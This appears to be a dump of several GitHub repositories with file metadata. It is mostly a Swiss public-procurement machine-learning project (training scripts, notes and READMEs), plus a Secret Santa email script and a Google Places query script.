text/html\nSubject: {subject}\n\n{message_body}\n\n\"\"\"\n\n server.sendmail(username, to_email, message)\n server.quit()\n\n\ndef send_secret_santas(participants):\n not_gifted = {name for name, email in participants}\n for name, email in participants:\n santa_assigment = random.choice(list(not_gifted - {name}))\n not_gifted.remove(santa_assigment)\n\n message_body = santa_message_body(santa_assigment)\n subject = \"Your Secret Santa Assignment!\"\n send_email(name, email, subject, message_body)\n\nPARTICIPANTS = [('Harry Potter', 'potter@hogwarts.edu'), ('Hermione Granger', \"hermione@hogwarts.edu\")]\n\nif __name__ == \"__main__\":\n\n send_secret_santas(PARTICIPANTS)\n\n" }, { "alpha_fraction": 0.7734282612800598, "alphanum_fraction": 0.7793594598770142, "avg_line_length": 69.25, "blob_id": "f4d3d5abb61563060ae5766632c627e768532578", "content_id": "6fa4fe19b2f4bc6d3e838317514ad6976a765687", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 843, "license_type": "no_license", "max_line_length": 152, "num_lines": 12, "path": "/README.md", "repo_name": "ramimanna/Email-Secret-Santa", "src_encoding": "UTF-8", "text": "# Email-Secret-Santa\nA python script that randomly assigns secret santas and sends out emails letting everyone know who they should get a present for!\n\n## Setup\n\n0. Choose a gmail account to send email from. Do NOT use your personal gmail account for security reasons.\n1. Log in to the gmail account, go to https://myaccount.google.com/lesssecureapps and allow less secure apps.\n2. Choose how you want to supply your gmail password to the script:\n - If using a dotenv file instead of getpass, create a file called .env in the same directory as the secret santa script with one line with the format:\n`PASSWORD=your_password_for_the_gmail_you're_sending_from_here`\n - If using getpass, you don't need to do 2a because you'll type the password in dynamically when running the script\n3. Run the python script from terminal: `python send_email.py`\n" } ]
2
arvinwiyono/gmap-places
https://github.com/arvinwiyono/gmap-places
b7a48a3c5887e73269ceb45de6975eac21f5ae49
b1ff2dc16f0869f95b036c0203681ca63a89fd54
e704d9397eeb1d6bd8604fc0a5a4c281e73a5c6a
refs/heads/master
2021-06-24T16:15:13.077523
2017-09-11T08:47:31
2017-09-11T08:47:31
103,111,718
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6407263278961182, "alphanum_fraction": 0.6407263278961182, "avg_line_length": 31.125, "blob_id": "c069e0f75b92c7bc8da7e87cbe4647fce6c86de2", "content_id": "558a76ca109b04e27fec3ec42800d79dbdbdcfa1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 771, "license_type": "no_license", "max_line_length": 85, "num_lines": 24, "path": "/get_locations.py", "repo_name": "arvinwiyono/gmap-places", "src_encoding": "UTF-8", "text": "import requests\nimport json\nimport pandas as pd\nurl = \"https://maps.googleapis.com/maps/api/place/textsearch/json\"\nkey = \"change_this\"\ncities = [\n 'jakarta',\n 'surabaya',\n 'malang',\n 'semarang'\n]\ncols = ['street_address', 'lat', 'long']\ndf = pd.DataFrame(columns=cols)\n\nfor city in cities:\n querystring = {\"query\":f\"indomaret in {city}\",\"key\":key}\n res = requests.request(\"GET\", url, params=querystring)\n json_res = json.loads(res.text)\n for result in json_res['results']:\n address = result['formatted_address']\n lat = result['geometry']['location']['lat']\n lng = result['geometry']['location']['lng']\n df = df.append(pd.Series([address, lat, lng], index=cols), ignore_index=True)\ndf.to_csv('for_pepe.csv', index=False)\n" } ]
1
digital-sustainability/swiss-procurement-classifier
https://github.com/digital-sustainability/swiss-procurement-classifier
6b4316843554d23844e270b53c595957a3d5382d
67bc9ef761faac46ba1cf7b4225e5a90e18fa6d4
12da817f79a0d256a7948b10e1dd556401045a42
refs/heads/master
2022-09-01T10:13:08.362238
2020-04-01T09:48:04
2020-04-01T09:48:04
194,418,797
1
0
null
2019-06-29T15:11:51
2022-01-24T20:40:19
2022-08-23T17:45:18
Jupyter Notebook
[ { "alpha_fraction": 0.7026194334030151, "alphanum_fraction": 0.7026194334030151, "avg_line_length": 42.06666564941406, "blob_id": "d5c6b868a445480be41181540b3803da0a9b8f26", "content_id": "0d97937a188b332a746fe48c16a1beef00cddcbb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 649, "license_type": "no_license", "max_line_length": 85, "num_lines": 15, "path": "/dbs/mai/important3+1/README.md", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "\n\n```\nattributes = [\n ['ausschreibung_cpv'],\n ['ausschreibung_cpv', 'auftragsart_art'],\n ['ausschreibung_cpv', 'auftragsart_art','beschaffungsstelle_plz'],\n ['ausschreibung_cpv', 'auftragsart_art','beschaffungsstelle_plz','gatt_wto'],\n ['ausschreibung_cpv', 'auftragsart_art','beschaffungsstelle_plz','lose'],\n ['ausschreibung_cpv', 'auftragsart_art','beschaffungsstelle_plz','teilangebote'],\n ['ausschreibung_cpv', 'auftragsart_art','beschaffungsstelle_plz','varianten'],\n ['ausschreibung_cpv', 'auftragsart_art','beschaffungsstelle_plz','sprache']\n]\n```\n\n\nIn this run all attributes are testet with the selected important \n" }, { "alpha_fraction": 0.6367971897125244, "alphanum_fraction": 0.6719377636909485, "avg_line_length": 27.450000762939453, "blob_id": "158cb9203fab428f17315546a2254d3b1a437665", "content_id": "ccc8011156cdd8ee4a1c45fa3152b3c6290a4314", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4006, "license_type": "no_license", "max_line_length": 159, "num_lines": 140, "path": "/doc/presentation.md", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "---\ntitle: Reinventing Project Selection in the Swiss Procurement Process\nauthor: Alex Kräuchi & Jan Dietrich\ndate: 17. Dezember 2018\n---\n\n# Swiss Procurement\n\n- \\> 230’000 CHF public bidding\n- <https://www.simap.ch> official web platform\n- [FDN](http://www.digitale-nachhaltigkeit.unibe.ch) Simap Database:\n - Data Crawling by FDN\n- <https://beschaffungsstatistik.ch>\n\n<sup id=\"simap-database\">[1](#lib-simap-database)</sup>\n\n\n# Stats\n\n| Name | avg. last 2 years |\n|-----------------------|-------------------|\n| invitations to tender | 9'000 |\n| awards | 7'500 |\n| value of awards (CHF) | 14'000'000'000 |\n\n<sup id=\"simap-database\">[1](#lib-simap-database)</sup>\n\n# CPV Code\n\n![](./presentation/cpv.png)\n\n- 45000000 - Bauarbeiten\n - 45300000 - Bauinstallationsarbeiten\n - 45310000 - Installateurarbeiten\n\n# Problem description\n\nillustrative example: <https://www.simap.ch>\n\n# Aim\n\n- Imitate and possibly improve the current process by automating it\n- Use a data driven approach\n- **Business value**: Reduce Effort, get better results\n\n# Methodology & Tools\n\n- Data as a base\n- Specifiy a learning approach\n- Agree on a machine learning algorithm\n- Tools:\n\t- Python (Pandas, Numpy, Scikit Learn)\n\t- Jupyter Notebook\n\n[<img src=\"./presentation/sklearn-logo.png\">](https://github.com/scikit-learn/scikit-learn)\n\n\n# Data presentation\nFDN Simap Database\n\n| Name | no. of rows in DB |\n|-------------|-------------------|\n| tender | 61'703 |\n| awards | 47'958 |\n| bidder* | 10'237 |\n| contractor* | 2'794 |\n\n\\* unique: grouped by institution\n\n<sup id=\"simap-database\">[1](#lib-simap-database)</sup>\n\n# Relations\n<img src=\"./presentation/simap-database.png\">\n\n# Machine learning\n- \"*Machine learning* is a method of data analysis that automates analytical model building.\" <sup>[2](#lib-ml)</sup>\n- \"[...] idea that systems can learn from data, identify patterns and make decisions with minimal human intervention.\" <sup id=\"ml\">[2](#lib-ml)</sup>\n- Supervised & Unsupervised Learning\n\n\n# Situational Assessment\n<img src=\"./presentation/simap-database.png\">\n\n<sup id=\"simap-database\">[1](#lib-simap-database)</sup>\n\n# Algorithm Choice\n- “No Free Lunch” theorem <sup id=\"nofreelunch\">[3](#lib-nofreelunch)</sup>\n\n<img src=\"./presentation/algo-map.png\">\n\n<sup id=\"algo-map\">[4](#lib-algo-map)</sup>\n\n# Decision Tree\n<img src=\"./presentation/decision-tree.png\">\n\n<sup id=\"decision-tree\">[5](#lib-decision-tree)</sup>\n\n# Random Forest\n<img src=\"./presentation/random-forest.png\">\n\n<sup id=\"random-forest\">[6](#lib-random-forest)</sup>\n\n# Success Metrics\n![](./presentation/confusion.png){width=600px}\n\n<sup id=\"random-forest\">[7](#lib-confusion)</sup>\n\n\n# Model generation process\n\n**iterative process ⭮**\n\n1. select and prepare attributes\n2. train model\n3. model evaluation\n\n# Current progress\n\n[jupyter notebook](http://localhost:8888/notebooks/Test%20Suite.ipynb)\n\n# \n - To test:\n \t- Tenders from similar domains\n \t- Bidders with small set of positive responses\n\n\n# Sources\n<a name=\"lib-simap-database\">1</a>: <http://beschaffungsstatistik.ch> [↩](#simap-database)\n\n<a name=\"lib-ml\">3</a>: <https://www.sas.com/en_us/insights/analytics/machine-learning.html> [↩](#ml)\n\n<a name=\"lib-nofreelunch\">4</a>: <https://elitedatascience.com/machine-learning-algorithms?imm_mid=0fa832&cmp=em-data-na-na-newsltr_20180117> [↩](#nofreelunch)\n\n<a name=\"lib-algo-map\">5</a>: <https://blogs.sas.com/content/subconsciousmusings/2017/04/12/machine-learning-algorithm-use> [↩](#algo-map)\n\n<a name=\"lib-decision-tree\">6</a>: <https://www.datacamp.com/community/tutorials/decision-trees-R> [↩](#decision-tree)\n\n<a name=\"lib-random-forest\">7</a>: <https://www.researchgate.net/figure/Architecture-of-the-random-forest-model_fig1_301638643> [↩](#random-forest)\n\n<a name=\"lib-confusion\">7</a>: <https://towardsdatascience.com/understanding-confusion-matrix-a9ad42dcfd62> [↩](#confiusion)\n\n" }, { "alpha_fraction": 0.6266094446182251, "alphanum_fraction": 0.6357296109199524, "avg_line_length": 21.95061683654785, "blob_id": "924208dd55ada5b7fb6f8a0ec5a9f2fdb6d01735", "content_id": "8e621afd947f8a2a5447beea18ebddcb80bdb6ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1864, "license_type": "no_license", "max_line_length": 138, "num_lines": 81, "path": "/doc/pandas.md", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "#Pandas\n\n##Data Structures\n\n\n###DataFrames\n\n* display first/ last data `df.head()` resp. `df.tail()`\n\n* display columns `df.columns`\n\n* select single column `df['a']` or `df.a`\n\n* select multiple columns `df[['c', 'd']]` \n\n* select by rows and/or column names `df.loc['columnName']` or `df.loc[rows, ['a', 'b']]`\n\n* select by rows and/or column index ``df.iloc[rows, [1, 2]]`\n\n* filter with logic `df[df['columnname'] > 5]`\n\n* filter string `df.columnna\n\n* select row ranges by index (range is inclusive!) `df[:3]` \n\n* add a colum by assignment \n\n~~~\ns = pd.Series([-1.2, -1.5, -1.7], index=['two', 'four', 'five'])\ndf['a'] = s\n\n~~~\n\n* transpose rows and columns `df.T`\n\n* create two-dimensianal ndarray `df.values` --> if data types are different, the dType will chosen to match all of them (likely *object*)\n\n* reindex `df = df.reindex(['a', 'b', 'c', 'd', 'e'])`\n\n* remove rows by index from df / s `df.drop(['d', 'c'])`\n\n* remove columns `df.drop(['two', 'four'], axis='columns')` *option* `inplace=True` will not create a new object\n\n**Transform DF to Something**\n\n![Df to other Types](./doc/df_to_something.png)\n\n**Useful Index Methods**\n![Index Methods](./doc/index_methods.png)\n\n\n\n###Series\n\n* Can be thought of as a fixed-length ordered dict\n\n* get values `s.values`\n\n* get index `s.index`\n\n* select by index `s[0]` or `s['a']`\n\n* select multiple `s[['a', 'b', 'c']]`\n\n* filter numeric values `s[s > 0]`\n\n* check for key `'a' in s`\n\n* creating series `s = pd.Series([1, 2, 3], index=['a', 'b', 'c'])` *index optional*f\n\n* creating series from dict `s = pd.Series(dict)` *possible to pass dict key in wantend order. Default is sorted order.*\n \n\n##Essential Functionality\n\n* replace data by condition `df[df < 5] = 0`\n\n* display unique values in column `pd.DataFrame(df.column.unique())`\n\n* count unique values in df `pd.value_counts(df.columnName)`\n* \n\n\n\n\n" }, { "alpha_fraction": 0.8247422575950623, "alphanum_fraction": 0.8247422575950623, "avg_line_length": 96, "blob_id": "05e01a91aed7c0f2a9427111e2ddaee20e954360", "content_id": "de5c9404ff142682df07602b018fe4b2e2232b3a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 98, "license_type": "no_license", "max_line_length": 96, "num_lines": 1, "path": "/dbs/mai/add-cpv-third/README.md", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "# CPV Code wurde an dritte Stelle verschoben um einen schöneren Anstieg der Accuracy zu erhalten\n" }, { "alpha_fraction": 0.6195115447044373, "alphanum_fraction": 0.6282930970191956, "avg_line_length": 34.378639221191406, "blob_id": "431c5f0f295a072e57632bf236738532c4357b3d", "content_id": "d353180c0ca0c97245cf284669c2edb609a93e3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7290, "license_type": "no_license", "max_line_length": 134, "num_lines": 206, "path": "/runOldIterations.py", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "from train import ModelTrainer\nfrom collection import Collection\nimport pandas as pd\n\nimport logging\nimport traceback\nimport os\n\nlogging.basicConfig()\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\n# === THESIS ===\n\nanbieter_config = {\n 'Construction': [\n 'Alpiq AG',\n 'Swisscom',\n 'Kummler + Matter AG',\n 'Siemens AG'\n ],\n 'IT': [\n 'G. Baumgartner AG',\n 'ELCA Informatik AG',\n 'Thermo Fisher Scientific (Schweiz) AG',\n 'Arnold AG',\n ],\n 'Other': [\n 'Riget AG',\n 'isolutions AG',\n 'CSI Consulting AG',\n 'Aebi & Co. AG Maschinenfabrik',\n ],\n 'Divers': [\n 'DB Schenker AG',\n 'IT-Logix AG',\n 'AVS Syteme AG',\n 'Sajet SA'\n ]\n}\n\n\n\n# === TESTING ===\n\n#anbieter = 'Marti AG' #456\n#anbieter = 'Axpo AG' #40\n#anbieter = 'Hewlett-Packard' #90\n#anbieter = 'BG Ingénieurs Conseils' SA #116\n#anbieter = 'Pricewaterhousecoopers' #42\n#anbieter = 'Helbling Beratung + Bauplanung AG' #20\n#anbieter = 'Ofrex SA' #52\n#anbieter = 'PENTAG Informatik AG' #10\n#anbieter = 'Wicki Forst AG' #12\n#anbieter = 'T-Systems Schweiz' #18\n#anbieter = 'Bafilco AG' #20\n#anbieter = '4Video-Production GmbH' #3\n#anbieter = 'Widmer Ingenieure AG' #6\n#anbieter = 'hmb partners AG' #2\n#anbieter = 'Planmeca' #4\n#anbieter = 'K & M Installationen AG' #4\n\n\nselect_anbieter = (\n \"anbieter.anbieter_id, \"\n \"anbieter.institution as anbieter_institution, \"\n \"cpv_dokument.cpv_nummer as anbieter_cpv, \"\n \"ausschreibung.meldungsnummer\"\n)\n# anbieter_CPV are all the CPVs the Anbieter ever won a procurement for. So all the CPVs they are interested in. \nselect_ausschreibung = (\n \"anbieter.anbieter_id, \"\n \"auftraggeber.institution as beschaffungsstelle_institution, \"\n \"auftraggeber.beschaffungsstelle_plz, \"\n \"ausschreibung.gatt_wto, \"\n \"ausschreibung.sprache, \"\n \"ausschreibung.auftragsart_art, \"\n \"ausschreibung.lose, \"\n \"ausschreibung.teilangebote, \"\n \"ausschreibung.varianten, \"\n \"ausschreibung.projekt_id, \"\n # \"ausschreibung.titel, \"\n \"ausschreibung.bietergemeinschaft, \"\n \"cpv_dokument.cpv_nummer as ausschreibung_cpv, \"\n \"ausschreibung.meldungsnummer as meldungsnummer2\"\n)\n\nattributes = ['ausschreibung_cpv', 'auftragsart_art','beschaffungsstelle_plz','gatt_wto','lose','teilangebote', 'varianten','sprache']\n# attributes = ['auftragsart_art']\n\nconfig = {\n # ratio that the positive and negative responses have to each other\n 'positive_to_negative_ratio': 0.5,\n # Percentage of training set that is used for testing (Recommendation of at least 25%)\n 'test_size': 0.25,\n 'runs': 100,\n #'enabled_algorithms': ['random_forest'],\n 'enabled_algorithms': ['random_forest', 'decision_tree', 'gradient_boost'],\n 'random_forest': {\n # Tune Random Forest Parameter\n 'n_estimators': 100,\n 'max_features': 'sqrt',\n 'max_depth': None,\n 'min_samples_split': 2\n },\n 'decision_tree': {\n 'max_depth': 15,\n 'max_features': 'sqrt'\n },\n 'gradient_boost': {\n 'n_estimators': 100,\n 'learning_rate': 0.1,\n 'max_depth': 15,\n 'max_features': 'sqrt'\n }\n}\n\n# Prepare Attributes\ndef cleanData(df, filters):\n# if 'beschaffungsstelle_plz' in filters:\n# df[['beschaffungsstelle_plz']] = df[['beschaffungsstelle_plz']].applymap(ModelTrainer.tonumeric)\n if 'gatt_wto' in filters:\n df[['gatt_wto']] = df[['gatt_wto']].applymap(ModelTrainer.unifyYesNo)\n if 'anzahl_angebote' in filters:\n df[['anzahl_angebote']] = df[['anzahl_angebote']].applymap(ModelTrainer.tonumeric)\n if 'teilangebote' in filters:\n df[['teilangebote']] = df[['teilangebote']].applymap(ModelTrainer.unifyYesNo)\n if 'lose' in filters:\n df[['lose']] = df[['lose']].applymap(ModelTrainer.unifyYesNo)\n if 'varianten' in filters:\n df[['varianten']] = df[['varianten']].applymap(ModelTrainer.unifyYesNo)\n if 'auftragsart_art' in filters:\n auftrags_art_df = pd.get_dummies(df['auftragsart_art'], prefix='aftrgsrt',dummy_na=True)\n df = pd.concat([df,auftrags_art_df],axis=1).drop(['auftragsart_art'],axis=1)\n if 'sprache' in filters:\n sprache_df = pd.get_dummies(df['sprache'], prefix='lang',dummy_na=True)\n df = pd.concat([df,sprache_df],axis=1).drop(['sprache'],axis=1)\n if 'auftragsart' in filters:\n auftragsart_df = pd.get_dummies(df['auftragsart'], prefix='auftr',dummy_na=True)\n df = pd.concat([df,auftragsart_df],axis=1).drop(['auftragsart'],axis=1)\n if 'beschaffungsstelle_plz' in filters:\n plz_df = pd.get_dummies(df['beschaffungsstelle_plz'], prefix='beschaffung_plz',dummy_na=True)\n df = pd.concat([df,plz_df],axis=1).drop(['beschaffungsstelle_plz'],axis=1)\n return df\n\nclass IterationRunner():\n\n def __init__(self, anbieter_config, select_anbieter, select_ausschreibung, attributes, config, cleanData):\n self.anbieter_config = anbieter_config\n self.select_anbieter = select_anbieter\n self.select_ausschreibung = select_ausschreibung\n self.attributes = attributes\n self.config = config\n self.cleanData = cleanData\n self.trainer = ModelTrainer(select_anbieter, select_ausschreibung, '', config, cleanData, attributes)\n self.collection = Collection()\n\n def run(self):\n for label, anbieters in self.anbieter_config.items():\n logger.info(label)\n for anbieter in anbieters:\n for attr_id in range(len(self.attributes)-1):\n att_list = self.attributes[:attr_id+1]\n self.singleRun(anbieter, att_list, label)\n self.trainer.resetSQLData()\n\n def runAttributesEachOne(self):\n for label, anbieters in self.anbieter_config.items():\n logger.info(label)\n for anbieter in anbieters:\n for attr in self.attributes:\n att_list = [attr]\n self.singleRun(anbieter, att_list, label)\n self.trainer.resetSQLData()\n\n\n def runSimpleAttributeList(self):\n for label, anbieters in self.anbieter_config.items():\n logger.info(label)\n for anbieter in anbieters:\n self.singleRun(anbieter, self.attributes, label)\n self.trainer.resetSQLData()\n\n def singleRun(self, anbieter, att_list, label):\n logger.info('label: {}, anbieter: {}, attributes: {}'.format(label, anbieter, att_list))\n try:\n self.trainer.attributes = att_list\n self.trainer.anbieter = anbieter\n output = self.trainer.run()\n output['label'] = label\n self.collection.append(output)\n filename = os.getenv('DB_FILE', 'dbs/auto.json')\n self.collection.to_file(filename)\n except Exception as e:\n traceback.print_exc()\n print(e)\n print('one it done')\n\nrunner = IterationRunner(anbieter_config, select_anbieter, select_ausschreibung, attributes, config, cleanData)\n\nif __name__ == '__main__':\n # runner.collection.import_file('dbs/auto.json')\n runner.run()\n runner.runAttributesEachOne()\n # label, anbieters = next(iter(runner.anbieter_config.items()))\n # print(label)\n" }, { "alpha_fraction": 0.5935685038566589, "alphanum_fraction": 0.5991641879081726, "avg_line_length": 45.278690338134766, "blob_id": "b4a37d36f743d97434903783d07c611457712245", "content_id": "2570076c74444e2c79ebf7a09237807b54b702e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14122, "license_type": "no_license", "max_line_length": 131, "num_lines": 305, "path": "/train.py", "repo_name": "digital-sustainability/swiss-procurement-classifier", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport math\nfrom datetime import datetime\nfrom sklearn.utils import shuffle\nfrom sklearn.model_selection import train_test_split, cross_val_score\nfrom sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import accuracy_score, confusion_matrix, matthews_corrcoef\n\nfrom db import connection, engine\n\nimport logging\n\nlogging.basicConfig()\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\nclass ModelTrainer():\n\n def __init__(self, select_anbieter, select_ausschreibung, anbieter, config, cleanData, attributes=[]):\n self.anbieter = anbieter\n self.select_anbieter = select_anbieter\n self.select_ausschreibung = select_ausschreibung\n self.attributes = attributes\n self.config = config\n self.cleanData = cleanData\n\n def run(self):\n positive_sample, negative_samples = self.createSamples()\n\n positive_and_negative_samples = self.prepareForRun(\n positive_sample,\n negative_samples\n )\n\n # most certainly used to resolve the naming functions like getFalseProjectTitle\n merged_samples_for_names = self.prepareUnfilteredRun(\n positive_sample,\n negative_samples\n )\n\n result = self.trainSpecifiedModels(positive_and_negative_samples)\n\n return result\n # xTests, yTests = self.trainModel(positive_and_negative_samples)\n\n def resetSQLData(self):\n try:\n del self.positives\n del self.negatives\n except:\n pass\n\n def createSamples(self):\n if not hasattr(self, 'positives') or not hasattr(self, 'negatives'):\n self.queryData()\n negative_samples = []\n negative_sample_size = math.ceil(len(self.positives) * (self.config['positive_to_negative_ratio'] + 1))\n for count in range(self.config['runs']):\n negative_samples.append(self.negatives.sample(negative_sample_size, random_state=count))\n\n self.positives['Y'] = 1\n for negative_sample in negative_samples:\n negative_sample['Y']=0\n return (self.positives, negative_samples)\n\n def queryData(self):\n self.positives = self.__runSql(True)\n self.negatives = self.__runSql(False)\n logger.info('sql done')\n return self.positives, self.negatives\n\n def __runSql(self, response):\n resp = '='\n if (not response):\n resp = '!='\n query = \"\"\"SELECT * FROM (SELECT {} from ((((((beruecksichtigteanbieter_zuschlag\n INNER JOIN zuschlag ON zuschlag.meldungsnummer = beruecksichtigteanbieter_zuschlag.meldungsnummer)\n INNER JOIN anbieter ON beruecksichtigteanbieter_zuschlag.anbieter_id = anbieter.anbieter_id)\n INNER JOIN projekt ON zuschlag.projekt_id = projekt.projekt_id)\n INNER JOIN auftraggeber ON projekt.auftraggeber_id = auftraggeber.auftraggeber_id)\n INNER JOIN ausschreibung ON projekt.projekt_id = ausschreibung.projekt_id)\n INNER JOIN cpv_dokument ON cpv_dokument.meldungsnummer = zuschlag.meldungsnummer)\n WHERE anbieter.institution {} \"{}\" ) anbieter\n JOIN (SELECT {} from ((((((beruecksichtigteanbieter_zuschlag\n INNER JOIN zuschlag ON zuschlag.meldungsnummer = beruecksichtigteanbieter_zuschlag.meldungsnummer)\n INNER JOIN anbieter ON beruecksichtigteanbieter_zuschlag.anbieter_id = anbieter.anbieter_id)\n INNER JOIN projekt ON zuschlag.projekt_id = projekt.projekt_id)\n INNER JOIN auftraggeber ON projekt.auftraggeber_id = auftraggeber.auftraggeber_id)\n INNER JOIN ausschreibung ON projekt.projekt_id = ausschreibung.projekt_id)\n INNER JOIN cpv_dokument ON cpv_dokument.meldungsnummer = ausschreibung.meldungsnummer)\n WHERE anbieter.institution {} \"{}\"\n ) ausschreibung ON ausschreibung.meldungsnummer2 = anbieter.meldungsnummer\n ORDER BY ausschreibung.meldungsnummer2;\n \"\"\".format(self.select_anbieter, resp, self.anbieter, self.select_ausschreibung, resp, self.anbieter)\n return pd.read_sql(query, engine)\n\n def prepareForRun(self, positive_sample, negative_samples):\n # What attributes the model will be trained by\n filters = ['Y', 'projekt_id'] + self.attributes\n positive_and_negative_samples = []\n for negative_sample in negative_samples:\n # Merge positive and negative df into one, only use selected attributes\n merged_samples = positive_sample.append(negative_sample, ignore_index=True)[filters].copy()\n # Clean the data of all selected attributes\n cleaned_merged_samples = self.cleanData(merged_samples, self.attributes)\n positive_and_negative_samples.append(cleaned_merged_samples)\n return positive_and_negative_samples\n\n def prepareUnfilteredRun(self, positive_sample, negative_samples):\n merged_samples_for_names = []\n for negative_sample in negative_samples:\n # Merge positive and negative df into one\n merged_samples_for_names.append(positive_sample.append(negative_sample, ignore_index=True).copy())\n return merged_samples_for_names\n\n def trainSpecifiedModels(self, positive_and_negative_samples):\n result = {}\n for algorithm in self.config['enabled_algorithms']:\n if algorithm == 'random_forest':\n n_estimators = self.config[algorithm]['n_estimators']\n max_depth = self.config[algorithm]['max_depth']\n max_features = self.config[algorithm]['max_features']\n min_samples_split = self.config[algorithm]['min_samples_split']\n classifier = lambda randomState: RandomForestClassifier(\n n_estimators=n_estimators,\n max_depth=max_depth,\n max_features=max_features,\n min_samples_split=min_samples_split,\n random_state=randomState,\n n_jobs=-1\n )\n elif algorithm == 'gradient_boost':\n n_estimators = self.config[algorithm]['n_estimators']\n max_depth = self.config[algorithm]['max_depth']\n max_features = self.config[algorithm]['max_features']\n learning_rate = self.config[algorithm]['learning_rate']\n classifier = lambda randomState: GradientBoostingClassifier(\n n_estimators=n_estimators,\n max_depth=max_depth,\n max_features=max_features,\n learning_rate=learning_rate,\n random_state=randomState\n )\n elif algorithm == 'decision_tree':\n max_depth = self.config[algorithm]['max_depth']\n max_features = self.config[algorithm]['max_features']\n classifier = lambda randomState: DecisionTreeClassifier(\n max_depth=max_depth,\n max_features=max_features\n )\n else:\n raise Exception('enabled algorithm: {} doesn\\'t exist.'.format(algorithm))\n result[algorithm] = {}\n xTests, yTests = self.trainModel(positive_and_negative_samples, classifier, algorithm)\n result['attributes'] = self.attributes\n result['anbieter'] = self.anbieter\n result['timestamp'] = datetime.now().isoformat()\n #result[algorithm]['xTests'] = xTests\n #result[algorithm]['yTests'] = yTests\n result[algorithm]['metrics'] = self.config[algorithm]\n evaluation_dataframe =pd.concat([self.__getConfusionMatices(yTests), self.__getAccuracies(yTests)], axis=1, sort=False)\n result[algorithm]['data'] = evaluation_dataframe.to_dict()\n result[algorithm]['metadata'] = self.__getIterationMetadata(evaluation_dataframe)\n return result\n\n def trainModel(self, positive_and_negative_samples, classifier, algorithm):\n xTests = []\n yTests = []\n for idx, df in enumerate(positive_and_negative_samples): # enum to get index\n x_and_y_test, x_and_y_train = self.unique_train_and_test_split(df, random_state=idx)\n # Select all attributes\n xtest = x_and_y_test.drop(['Y'], axis=1)\n xtrain = x_and_y_train.drop(['Y'], axis=1)\n # Only select the response result attributes\n ytest = x_and_y_test['Y']\n ytrain = x_and_y_train['Y']\n # Create the model\n clf = classifier(randomState=idx)\n # Compute cross validation (5-fold)\n scores = self.__cross_val_score(clf, xtest, ytest, cv=5)\n print(scores)\n print('Avg. CV Score | {} Run {}: {:.2f}'.format(algorithm, idx, round(sum(scores)/len(scores), 4)))\n\n xtest = xtest.drop(['projekt_id'], axis=1)\n xtrain = xtrain.drop(['projekt_id'], axis=1)\n # Train the model on training sets\n clf = clf.fit(xtrain, ytrain)\n # Predict on the test sets\n prediction = clf.predict(xtest)\n # Convert pandas.series to data frame\n df_ytest = ytest.to_frame()\n # Add run number to df\n df_ytest['run'] = idx\n xtest['run'] = idx\n # add prediction to df\n df_ytest['prediction']= prediction\n # add result of run to df\n df_ytest['correct'] = df_ytest['prediction']==df_ytest['Y']\n # add run to run arrays\n xTests.append(xtest)\n yTests.append(df_ytest)\n return xTests, yTests\n\n def __getAccuracies(self, dfys):\n res = pd.DataFrame(columns=['accuracy', 'MCC', 'fn_rate'])\n for dfy in dfys:\n acc = round(accuracy_score(dfy.Y, dfy.prediction), 4)\n # f1 = round(f1_score(dfy.Y, dfy.prediction), 4)\n mcc = matthews_corrcoef(dfy.Y, dfy.prediction)\n matrix = confusion_matrix(dfy.Y, dfy.prediction)\n fnr = round(matrix[1][0] / (matrix[1][1] + matrix[1][0]), 4)\n # add row to end of df, *100 for better % readability\n res.loc[len(res)] = [ acc*100, mcc, fnr*100 ]\n return res\n\n def __getConfusionMatices(self, dfys):\n res = pd.DataFrame(columns=['tn', 'tp', 'fp', 'fn'])\n for dfy in dfys:\n # ConfusionMatrix legende:\n # [tn, fp]\n # [fn, tp]\n matrix = confusion_matrix(dfy.Y, dfy.prediction)\n res.loc[len(res)] = [ matrix[0][0], matrix[1][1], matrix[0][1], matrix[1][0] ]\n # res.loc['sum'] = res.sum() # Summarize each column\n return res\n\n def __getIterationMetadata(self, df):\n res = {}\n res['acc_mean'] = df['accuracy'].mean()\n res['acc_median'] = df['accuracy'].median()\n res['acc_min'] = df['accuracy'].min()\n res['acc_max'] = df['accuracy'].max()\n res['acc_quantile_25'] = df['accuracy'].quantile(q=.25)\n res['acc_quantile_75'] = df['accuracy'].quantile(q=.75)\n\n res['mcc_mean'] = df['MCC'].mean()\n res['mcc_median'] = df['MCC'].median()\n res['mcc_min'] = df['MCC'].min()\n res['mcc_max'] = df['MCC'].max()\n res['mcc_quantile_25'] = df['MCC'].quantile(q=.25)\n res['mcc_quantile_75'] = df['MCC'].quantile(q=.75)\n\n res['fn_rate_mean'] = df['fn_rate'].mean()\n res['fn_rate_median'] = df['fn_rate'].median()\n res['fn_rate_min'] = df['fn_rate'].min()\n res['fn_rate_max'] = df['fn_rate'].max()\n res['fn_rate_quantile_25'] = df['fn_rate'].quantile(q=.25)\n res['fn_rate_quantile_75'] = df['fn_rate'].quantile(q=.75)\n\n res['sample_size_mean'] = (df['fp'] + df['fn'] + df['tn'] + df['tp']).mean()\n return res\n\n def __cross_val_score(self, clf, x_values, y_values, cv):\n x_and_y_values = pd.concat([y_values, x_values], 